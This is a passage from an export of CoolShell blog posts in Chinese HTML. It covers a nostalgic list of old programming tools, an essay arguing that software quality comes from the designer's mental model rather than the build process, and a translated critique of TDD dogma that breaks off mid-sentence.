left;\">foxbase很快就淘汰了，举而代之能开发企业级应用的是FoxPro，看到FoxPro的强大，尤其是对菜单，表单，按钮等的支持，当时觉得这是世界上最NB的编程工具了。还跟着老师开发了一些MIS系统。后来听老师说，他们给昆明车管所使用foxpro来管理昆明的自行车，因为数据量太大，FoxPro经常崩溃。这可能是我听说过最早的电子政府系统了。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5580\" height=\"279\" src=\"../wp-content/uploads/2011/10/02.foxprodos_25_desktop.jpg\" title=\"那些曾伴我走过编程之路的软件\" width=\"614\"/></p>\n<p style=\"text-align: left;\">Win3.2/Win95下的Foxpro更不用说了，NB啊。当时的神器啊。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5581\" height=\"462\" src=\"../wp-content/uploads/2011/10/03.visual.foxpro.jpg\" title=\"那些曾伴我走过编程之路的软件\" width=\"616\"/></p>\n<p style=\"text-align: left;\">进入Win95图形界面时代Borland C++也是需要提一下的，只是当时学校没有C++的课程，所以完全不懂，而且因为Foxpro和其些如VB，Powerbuilder的RAD编程工具的泛滥，甚至觉得Borland C++和VC++完全没戏。呵呵。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5583\" height=\"474\" src=\"../wp-content/uploads/2011/10/05.5.borland.c++.5.jpg\" title=\"那些曾伴我走过编程之路的软件\" width=\"630\"/></p>\n<p style=\"text-align: left;\">PowerBuilder掀开了另一个企业级应用的时代，C/S结构。太强了，在大三大四的时候，在老师开的公司里用这个东西为丽江三合酒店，一个送水公司，还有云南省外事办公室开发过其MIS系统。使用PowerBuilder一直到2002年，交行总行国业务系统的前端，还有上海电信系统。今天还有人在用这个东西开发软件么？</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5585\" height=\"466\" src=\"../wp-content/uploads/2011/10/06.Power_.builder.gif\" title=\"那些曾伴我走过编程之路的软件\" width=\"590\"/></p>\n<p style=\"text-align: left;\">VB也是一个划时代的产品，不过好像从来都是一个编程初学者的玩具，当时我学过VB，感觉其把编程搞成了一个搭积木的过程。我在当时草草地使用了VB，因为那时出了一个叫VB killer的东西——Delphi。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5586\" height=\"395\" src=\"../wp-content/uploads/2011/10/07.visual.basic_.png\" title=\"那些曾伴我走过编程之路的软件\" width=\"500\"/></p>\n<p style=\"text-align: left;\">Delphi的时代是相当生猛的一个时代，企业级开发，自带数据库，可以制作各咱小工具软件和网络软件，等等，到后来的Delphi7还支持多层结构和分布式，在Delphi的时代，我记得那时的狂热，网上有很多超NB的控件可以让你开发出相当炫的界面。</p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"300\" src=\"../wp-content/uploads/2011/10/11.Delphi00.jpg\" title=\"那些曾伴我走过编程之路的软件\" width=\"400\"/></p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"242\" src=\"../wp-content/uploads/2011/10/11.Delphi01.png\" title=\"那些曾伴我走过编程之路的软件\" width=\"300\"/></p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"432\" src=\"../wp-content/uploads/2011/10/11.delphi02.gif\" title=\"那些曾伴我走过编程之路的软件\" width=\"576\"/></p>\n<p style=\"text-align: left;\">还记得C++ Builder吗？搞得跟Delphi一模一样，但是编译的速度慢得实在是不行。</p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"332\" src=\"../wp-content/uploads/2011/10/10.borland.c++.builder01.jpg\" title=\"那些曾伴我走过编程之路的软件\" width=\"640\"/></p>\n<p style=\"text-align: left;\">VC++的时代应用是从北大的《Windows编程设计》一书发布时开始的，这才是真正的SDK编程。于是我开始喜欢使用VC++了。一直到今天。VC++6.0是一个经典，直到今天的VS2008，我还是要把热捷和界面搞成VC6.0的风格。呵呵。</p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5611\" height=\"331\" src=\"../wp-content/uploads/2011/10/vc6.start_.jpg\" title=\"VC++ 6.0\" width=\"431\"/></p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5587\" height=\"391\" src=\"../wp-content/uploads/2011/10/08.visual.c++.6.0.jpg\" title=\"那些曾伴我走过编程之路的软件\" width=\"572\"/></p>\n<p style=\"text-align: left;\">刚参加工作的时候，单位里用Lotus Notes做办公自动化软件的平台，于是我学习了怎么在Notes下开发应用。后来还用这个玩意给一些银行开发过一些办公自动化流程的应用。我有一个同学相当痴迷于这个平台。现在看来，有点非主流了。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-5593\" height=\"420\" src=\"../wp-content/uploads/2011/10/12.lotus_.notes_.gif\" title=\"那些曾伴我走过编程之路的软件\" width=\"560\"/></p>\n<p style=\"text-align: left;\">在大三的时候，Java和WEB出现了，系上接到了一个项目，需要用HTML+Java的方式做一些在线的教学课件。但是，当时连一本HTML的书都没有，又上不了网，我只能在看一些盗版光盘里的HTML的文件的例子来学习。那时，基本上是用notepad来写HTML，这让我对HTML打下了非常扎实的基础。后来知道有一个叫HotDog的专门用来写HTML的软件，用了一段时间。</p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5594\" height=\"480\" src=\"../wp-content/uploads/2011/10/13.hotdog6w2kanim.gif\" title=\"那些曾伴我走过编程之路的软件\" width=\"640\"/></p>\n<p style=\"text-align: left;\">但最终还是使用了微软的FrontPage多一些，直到Dreamweaver的出现。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5612\" height=\"504\" src=\"../wp-content/uploads/2011/10/13.frontpage.gif\" title=\"那些曾伴我走过编程之路的软件\" width=\"672\"/></p>\n<p style=\"text-align: left;\">当时的开发环境用的是NetScape，就是下面这点鸟样的东西了。</p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"420\" src=\"../wp-content/uploads/2011/10/24.netscape.gif\" title=\"那些曾伴我走过编程之路的软件\" width=\"560\"/></p>\n<p style=\"text-align: left;\">在大三大四做那个操作系统的教学课件的时候，开发Java Applet的IDE主要是用Cafe，Java Workshop。当时用这些东西开发了一些Applet用来演示UNIX操作系统内存分配，进程调度，文件存储等算法的动画。还得了个大学生挑战者杯的鼓励奖。现在想想，如果当时有Flash的话，可能做这些演示动化就不用那么麻烦了。</p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"aligncenter\" height=\"438\" src=\"../wp-content/uploads/2011/10/16.visual.cafe_.01-1024x782.gif\" title=\"那些曾伴我走过编程之路的软件\" width=\"574\"/></p>\n<p style=\"text-align: left;\">总体来说，Java Workshop也不好用。还是更多的使用Cafe写Java程序。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5595\" height=\"453\" src=\"../wp-content/uploads/2011/10/14.JavaWorkshopProject.gif\" title=\"那些曾伴我走过编程之路的软件\" width=\"685\"/></p>\n<p style=\"text-align: left;\">毕业两年后在工作上因为要做IBM?Websphere上的应用，于是使用了IBM的Visual Age for Java，现在看来，这些IDE真是太土了。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5596\" height=\"387\" src=\"../wp-content/uploads/2011/10/15.visual.age_.for_.java_.gif\" title=\"那些曾伴我走过编程之路的软件\" width=\"480\"/></p>\n<p style=\"text-align: left;\">关于Java的开发工具还有两个东西，一个是Microsoft的J++，另一个是Borland的JBuilder。J++ 就像是一个笑话，非标准的，据我所知没有人用。</p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"449\" src=\"../wp-content/uploads/2011/10/09.visual.j++.gif\" title=\"那些曾伴我走过编程之路的软件\" width=\"600\"/></p>\n<p style=\"text-align: left;\">JBuilder流行了很多年，还得了很多奖，几乎成了Borland的最后一个支柱产品，不过当时因为我皈依Linux/C/C++了，所以，也就没有搞Java了，不过这个IDE还是相当的优秀。不知道现在还有没有人用。不过，现在的Java IDE被Eclipse 一统山河了。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5614\" height=\"473\" src=\"../wp-content/uploads/2011/10/17.JBuilder.jpeg\" title=\"那些曾伴我走过编程之路的软件\" width=\"631\"/></p>\n<p style=\"text-align: left;\">好了，上面是一些关于编程方面的，还有一些比较经典的软件如下。</p>\n<p style=\"text-align: left;\">一个是汉字平台，香港金山公司的UC-DOS，和WPS，当时的我还纳闷，为什么香港人也用简体中文了。对此，我心中对祖国的热爱小小的升华了。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-5600\" height=\"375\" src=\"../wp-content/uploads/2011/10/20.ucdos01.gif\" title=\"那些曾伴我走过编程之路的软件\" width=\"500\"/></p>\n<p>还有杀毒软件，KV300和kill<img alt=\"\" class=\"aligncenter size-full wp-image-5601\" height=\"306\" src=\"../wp-content/uploads/2011/10/21.kv300.gif\" title=\"那些曾伴我走过编程之路的软件\" width=\"561\"/></p>\n<p>帮朋友修电脑用得最多的就是PC Tools</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-5602\" height=\"307\" src=\"../wp-content/uploads/2011/10/22.pc_.tools_.jpg\" title=\"那些曾伴我走过编程之路的软件\" width=\"584\"/></p>\n<p>玩游戏的必备——FPE</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-5603\" height=\"375\" src=\"../wp-content/uploads/2011/10/23.fpe_.jpg\" title=\"那些曾伴我走过编程之路的软件\" width=\"600\"/></p>\n<p>有谁还记得这个看图软件——SEA？<br/>\n<img alt=\"\" class=\"aligncenter size-full wp-image-5605\" height=\"358\" src=\"../wp-content/uploads/2011/10/24.SEA_.jpg\" title=\"那些曾伴我走过编程之路的软件\" width=\"450\"/></p>\n<p>Zmud——当时的网游戏。也是需要练级。在大四和刚工作头一年疯玩过Zmud，之后，对于今天的这些大量的网游没有什么兴趣了。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-5606\" height=\"740\" src=\"../wp-content/uploads/2011/10/25.zmud_.jpg\" title=\"那些曾伴我走过编程之路的软件\" width=\"662\"/></p>\n<p>还有当时用猫上网的年代，NetAnt成了下载软件的装机必备。下载速率平均只有3k-4kBps，这种生活是怎么过来的啊。哈。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-5607\" height=\"308\" src=\"../wp-content/uploads/2011/10/26.netant.jpg\" title=\"那些曾伴我走过编程之路的软件\" width=\"450\"/></p>\n<p>相信你也有你自己的怀旧的故事，不妨分享一下。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3421.html\"><img alt=\"流体力学的演示\" height=\"150\" src=\"../wp-content/uploads/2010/12/Liquid-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3421.html\">流体力学的演示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7992.html\"><img alt=\"C++的坑真的多吗？\" height=\"150\" src=\"../wp-content/uploads/2012/08/cpp_small-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7992.html\">C++的坑真的多吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5576.html\">那些曾伴我走过编程之路的软件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-10-16 “品质在于构建过程”吗？.html",
    "content": "<html><body><p><strong>感谢<a href=\"http://weibo.com/n/weidagang\">@weidagang</a> （Todd）向酷壳投递的这篇精彩的文章。<a href=\"http://www.cnblogs.com/weidagang2046/archive/2011/10/15/2213672.html\" target=\"_blank\">原文</a></strong></p>\n<p>今天在微博上看到几位敏捷爱好者探讨敏捷测试和质量保证问题，我忍不住也加入了讨论：</p>\n<blockquote><p><span style=\"color: #800040;\"><strong>Z先生原帖：</strong>我刚才看到一个大会演讲稿，谈到敏捷测试六大指导原则：1.仅靠测试人员不可能获得高质量的软件，质量是整个研发团队的责任；2. 场景是不可穷举的，测试活动必须是风险驱动的，关注于高风险的场景；3.分层自动化测试是唯一出路;4.在正确的位置进行恰当的测试是自动化的关键；【待续】</span></p>\n<p><span style=\"color: #800040;\"><strong>S先生回复：</strong>品质在于构建过程。检验贯穿构建过程，提供及时反馈。</span></p>\n<p><span style=\"color: #800040;\"><strong>我回复：</strong>什么样的构建过程才能出Unix这样的品质呢？迭代？快速反馈？TDD?</span></p>\n<p><span style=\"color: #800040;\"><strong>S先生回复：</strong>据说stroustrup听到重构时的反应是，我们从七十年代就这样做了。推荐《UNIX编程环境》，了解大师的编程方式。</span></p>\n<p><span style=\"color: #800040;\"><strong>我回复：</strong>您偷换了概念。不能说大师用了重构，C++和UNIX的品质就是靠重构或某种构建过程得来的。厨师做菜用到了勺子，不等于菜好吃是因为勺子。</span></p>\n<p><span style=\"color: #800040;\"><strong>S先生回复：</strong>我没有概念。我们看到一个果，就问因是什么。其实是泛因果，无因果，一切是机缘凑巧。</span></p>\n<p><span style=\"color: #800040;\"><strong>我回复：</strong>“品质在于构建过程”难道不是一个明白的因果描述吗？</span></p>\n<p><span style=\"color: #800040;\"><strong>S先生回复：</strong>品质在于构建的人。我说话时没因果，你看到了因果。</span></p>\n<p><span style=\"color: #800040;\"><strong>我回复：</strong>欢迎敏捷爱好者围观！</span></p></blockquote>\n<p>很高兴几个回合讨论下来S先生修正了先前“品质在于构建过程”的观点。什么重构、TDD、迭代、快速反馈等等构建过程都不是Unix品质的核心要素。我不但不认同“品质在于构建过程”、“测试是最好的设计方法”这类机械式的观点，而且也不满意把软件优劣归结于“人是根本”的简单回答。我们需要探索一个既非机械式，也非简单地归结为某种理念的答案。</p>\n<p><span id=\"more-5625\"></span></p>\n<p>像Unix这样优秀的软件，真正的核心要素到底是什么呢？我的答案是：模型，即人心中的软件。在看得见、摸得着之前，Unix的品质就已经存在于设计者的心中了，他们不会在Unix诞生后惊讶：“哇，Unix的稳定性这么好，7×24小时运行，从来不蓝屏”。模型一定是设计者心中最美的东西，为什么我们阅读操作系统源代码会像进入迷宫一般理不清头绪，而作者自己却觉得头头是道呢？因为作者早已“胸有成竹”，我们以为他几十万行代码敲很辛苦，实际上在他自己看来是按部就班一步步向目标靠近。</p>\n<p>模型是软件的灵魂，存在于设计者的心中，而软件的构建过程正是心中的世界向现实世界逐渐投影。模型可以是完美的，而现实却非完美，或许有时候我们很幸运地到达了，或许有时候我们不得不向现实妥协，改变心中的世界。试图制造灯泡的爱迪生可能会一时找不到熔点极高的发光金属而止步不前，企图制造永动机的人则根本无法实现。在不完美的现实中，我们明明想的是a+b，却敲成了a-b；我们以为某个API可以很快返回，没想到却等了5秒钟，为了不阻塞用户不得不改成了异步。Review、测试等构建过程在一定程度上弥补了现实的不完美，并对模型给予了反馈，但它却无法决定软件的特质。如果设计者心中没有Unix，即使每个实现环节都层层检验，拥有光速般的反馈，他有怎么能构建出Unix呢？Windows NT内核和Windows 3.1内核的品质差别不在于微软采用了两种不同的构建过程，而在于它们采用了不同的内核模型。灵魂与躯体的差别就在于此！虽然对于普通的软件开发通常有不少成熟的模型供选择，并不需要总是创造自己的模型，但理解模型间的差异，并在设计时选用恰当的模型仍然比采用某种构建过程更加重要。服务器架构采用Nginx似的异步IO模型，还是采用Apache似的每个请求一个线程的模型远比开发是否采用了TDD更为重要。</p>\n<p>模型的产生是柔性的，主要源于灵感；过程的执行是刚性的，主要源于逻辑。苹果砸在牛顿的脑袋上能砸出万有引力模型，砸在我们脑袋上却只是“哎呦”一声；但一个苹果3元钱，两个苹果2*3=6元钱却在牛顿和我们面前是平等的。迷信灵感和迷信逻辑是两个错误的极端，孔子讲“天下国家可均也，爵禄可辞也，白刃可蹈也，中庸不可能也”，任何一项技能的高级阶段都是关于“度”的艺术。如同光具有波粒二象性，软件开发也具有艺术创作和工业生产的二象性，它包含了柔性的设计和刚性的过程。越是不成熟的前沿领域越表现出柔性特征；越是成熟的一般领域越表现出工业生产的特征。因此，一个以新产品为主的创业型公司应当更注重设计，更需要画家、诗人般的创造型人才；而业务成熟产品稳定的大公司应当更注重过程，更需要踏踏实实的生产线工人似的人才。但在当今这个瞬息万变的信息时代，即使是世界500强的大公司也越来越不稳定，越来越需要创新才能适应，所以即使大公司也不可忽视软件开发的柔性特征。同时，我们也不能迷信模型，过程同样可以成为企业的核心竞争力，比如：富士康。虚虚实实，实实虚虚，其妙无穷。老外做Nike品牌（虚），我们做代工生产（实），高额利润被老外拿走了；我们经营航空公司（虚），老外生产波音飞机（实）高价卖给我们，高额利润又被老外拿走了。靠虚取胜还是靠实取胜？这是个问题^_^</p>\n<p>或许我对于模型柔性的描述不太让人满意，人们多习惯于有章可循的感觉，即便不是死板的知识，起码要找个“在某某思想的指导下”才觉得心里有着落。或许还有人说，模型的确重要，那么我们能不能有一个过程、模式或套路来推导出模型呢？比如，现在非常流行的从用户需求出发的分析模式，即“分析需求，抽象出共性，共性是本质的，本质是稳定的”，这类模式的特点符合人们希望找到套路的心理，一看就明白，容易操作，有成就感。我不否认这类模式的确可以得出可用的软件设计，沿用成熟的模型也未尝不可。但我们应该明白，心中的世界远比现实的世界更广大更美妙。世界是多元的，用户需求、成熟模型等直接可见的东西只代表了某几个维度的视图，设计者心中应当有更多的维度！用户需要一个文本编辑器，是设计者心中的世界决定了他交出的作品是Vi，还是Emacs，亦或是Notepad。亨利·福特说：“如果你问用户需要什么，他会告诉你一匹更快的马”。汽车源于福特心中的世界，这是一个比只有马的世界更多彩的世界。乔布斯是一个不重视市场调研的人，iPod，iPhone，iPad都不是发个问卷，做个市场调查看看用户需要什么的结果。Apple是乔布斯心中的世界在现实中的投影！所以，请打破“从用户需求出发”，“从模式出发”的迷信，释放你的想象力，让自己心中的世界去包容现实的世界吧！</p>\n<p>每个人心中都有一个属于自己的世界，牛顿运动定律是牛顿心中的世界，相对论是爱因斯坦心中的世界。哪一个才是本来的世界呢？有没有本来的世界呢？本来的世界是什么样子呢？… 老子给我们启示“道可道，非常道”，说得清，道得明，想得到的都不是永恒的真理，所以真理不可言说，对真理的探索永远没有止境……<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8209.html\"><img alt=\"“单元测试要做多细？”\" height=\"150\" src=\"../wp-content/uploads/2012/09/fight-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7657.html\"><img alt=\"持续部署，并不简单！\" height=\"150\" src=\"../wp-content/uploads/2012/06/hudsonCI2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7657.html\">持续部署，并不简单！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5531.html\"><img alt=\"Test-Driven Development？别逗了\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5143.html\"><img alt=\"在新浪微博上关于敏捷的一些讨论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5044.html\"><img alt=\"为什么Scrum不行？\" height=\"150\" src=\"../wp-content/uploads/2011/07/hat-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5044.html\">为什么Scrum不行？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4891.html\"><img alt=\"Bob大叔和Jim Coplien对TDD的论战\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4891.html\">Bob大叔和Jim Coplien对TDD的论战</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5625.html\">“品质在于构建过程”吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-10-17 Test-Driven Development？别逗了.html",
    "content": "<html><body><p>这篇文章来源于Peter Sergeant在<a href=\"http://www.writemoretests.com/\" target=\"_blank\">Write More Test</a> 博客上的《<a href=\"http://www.writemoretests.com/2011/09/test-driven-development-give-me-break.html\" target=\"_blank\">Test-Driven Development? Give me a break…</a>》，在原文和<a href=\"http://www.reddit.com/r/programming/comments/kq001/testdriven_development_youve_gotta_be_kidding_me/\">Reddit</a> 上有很大反响。这篇文章里的很多观点在《<a href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\" title=\"TDD并不是看上去的那么美\">TDD并不是看上去的那么美</a>》和《<a href=\"https://coolshell.cn/articles/3745.html\" target=\"_blank\" title=\"再谈敏捷和ThoughtWorks中国咨询师\">再谈敏捷和TW咨询师</a>》里都出现过（我个人觉得我的观点比其更全面一些）。就像我转的《<a href=\"https://coolshell.cn/articles/5044.html\" target=\"_blank\" title=\"为什么Scrum不行？\">Scrum为什么不行</a>》 和《<a href=\"https://coolshell.cn/articles/4891.html\" target=\"_blank\" title=\"Bob大叔和Jim Coplien对TDD的论战\">Bob大叔和Jim Coplien对TDD的论战</a>》一样，从这些贴子我们可以看到——<strong>这是一个全世界的问题，并不是只有在中国才有的问题</strong>。</p>\n<p><strong>很多敏粉都在说我在是喷敏捷，黑敏捷，向敏捷泼脏水，我只想对这些人说——</strong><span style=\"color: #cc0000;\">你们这样的见解很肤浅也很敏感，你们根本就没有认识到——争论，反思和不同观点的意义，你也就无法了解你们所信仰的敏捷！你们只是在肤浅和盲目地信仰和教条敏捷中的许多名词、方法和标准答案罢了</span>。</p>\n<p style=\"text-align: center;\">——————————————正文开始——————————————</p>\n<p>对于程序员来说有些事有非常危险的信号（red flag）。当我听到有人开始信仰Test-Driven Development 是 One True Programming Methodology（唯一正确的编程方法论），这就是危险信号（red flag），我开始假设你是一个劣等、没有经验的程序员，或是某些敏捷咨询师。</p>\n<p>测试只是一个工具来<strong>帮助你</strong>，而不是用来证明谁比谁更虔诚，或是我的屌比你的要大，等这种愚蠢的行为。测试是用来让<strong>程序员</strong>得到有帮助的、更快的反馈，从而找到正确的路径，如果你搞坏一些事，其还可以用来给后人一些警告。这根本就不是一个神秘的有魔力的方法其可以让你的代码变得更好……</p>\n<p>整个Test-Driven Development的概念是麻痹和信奉，从而让其成为你的人生观。相反的：Developer-Driven Testing，它给你和你的同事一些有用的工具来解决问题，来支持你自己，而不是那种以工具或方法为中心的让你假设其应该是那样的测试。</p>\n<p><span id=\"more-5531\"></span></p>\n<p>是不是在有些时候我们需要在写代码前写测试？当然是，比如，“修改已有的功能”，这会一个适用的场景，还有那些短小的和已定义完善的事物，或是对已被测试过的代码做一些改善。</p>\n<p>但， 是不是你就应该需要<strong>总是</strong>要去先写测试？省省吧，别逗了。</p>\n<p>这是极度白痴的行为，尤其是在设计，调查和开发的初期。让你的测试来接管你的代码（而不是影响那个模块的代码）和接管你的设计 这是一个巨大的失败，就是因为你写的那些测试范围太大太不靠谱。（陈皓注：我在《<a href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\" title=\"TDD并不是看上去的那么美\">TDD并不是看上去的那么美</a>》一文中说过测试案例的测试范围的问题，敏捷社区除了对我进行人身攻击外从未对此做过正面回答。）</p>\n<p>在写代码前写测试案例在一些场景下的确很不错。然后，Test Driven Development，被敏捷专家或是其它各种五花八门的江湖骗子像神给凡人宣扬一样，这就是欺骗大众。</p>\n<p>行动在想法之下，于是测试必需先行（所有我已看到的，所有我正在看到的都表明这是TDD的中心思想—— 你写了测试，然后你再写代码并通过测试），于是测试成为了最有用的活动并可以帮助程序员。这是错的。</p>\n<p>就算你在一开始要写一些测试案例，但只要你想让这些测试案例更有意义，那么，你要么得让这些测试案例的测试范围更小更底层更精确，要么你就得在整个软件快要写完的时候再去写测试，要不然你就得欺骗或是篡改测试案例。在为数不多的情形下，前者是正确的——测试围绕于bug，或是小的，定义地很好的功能碎片（陈皓注：我个人理解为单元测试是目前最有效的））</p>\n<p>把测试变成整个活动的中心因为其对程序员有用？真牛逼。老实说，控制程序员的工作流程只可能得出一条无比正确的答案——荒谬可笑。</p>\n<p>测试帮助程序员，是因为其可以帮程序员组织自动化测试，所以才帮了程序员，而不是cargo-cult（<a href=\"http://zh.wikipedia.org/zh/%E8%88%B9%E8%B2%A8%E5%B4%87%E6%8B%9C\" target=\"_blank\">货物崇拜</a>，参看《<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\" title=\"各种流行的编程风格\">各种流行的编程方法</a>》中的cargo-cult编程）——信仰一种工作流程并让所有的人或事来适应于他。</p>\n<p>先写测试这种方法只会在“Developer Driven Testing”（程序员自己驱动的测试）下可行——关注于选取一个正确的方法让程序员更有生产力。生成一堆测试的规则并说这是唯一的真理是不正确的。</p>\n<p><strong>一些讨论和想法（在此贴发出数小时后）…</strong></p>\n<p>当我这篇博文发出几个小时后，其被转到了别的地方并引发了一些讨论。</p>\n<p>在 <a href=\"http://news.ycombinator.com/item?id=3033129\" target=\"_blank\">Hacker News</a> 上，有人说我提出了很多很不错的问题，并且那是真正的有理有据的观点。我在用用户名叫<em>peteretep </em>的回复了一些。</p>\n<p>在 <a href=\"http://www.reddit.com/r/programming/comments/kq001/testdriven_development_youve_gotta_be_kidding_me/\">Reddit</a> 上的争论更多更强。那里有很多的人觉得需要写自动化测试。并且这篇博文被大家演变成拥护测试和可实践的建议，我觉得我是误传达了我的想法，我觉得软件测试是非常重要的，而不是根据哪个方法论进行的教条主义！</p>\n<p style=\"text-align: center;\">——————————————正文结束——————————————</p>\n<p>我在Reddit上看到了下面的事，我也作些评论。</p>\n<ul>\n<li>大家在讨论很多很多的技术细节，比如如何测试私有方法，如何测试inner class，甚至还有代码。我太喜欢了，这才是真正的讨论，而不是像酷壳这边那些敏粉们说人而不说事的讨论，<strong>那些所谓的敏捷咨询师的话里连一点技术细节都没有</strong>。</li>\n</ul>\n<ul>\n<li>并且也有人说TDD可以让你去Design，但随后就有人说，正真的Design就是Design，而不是hack 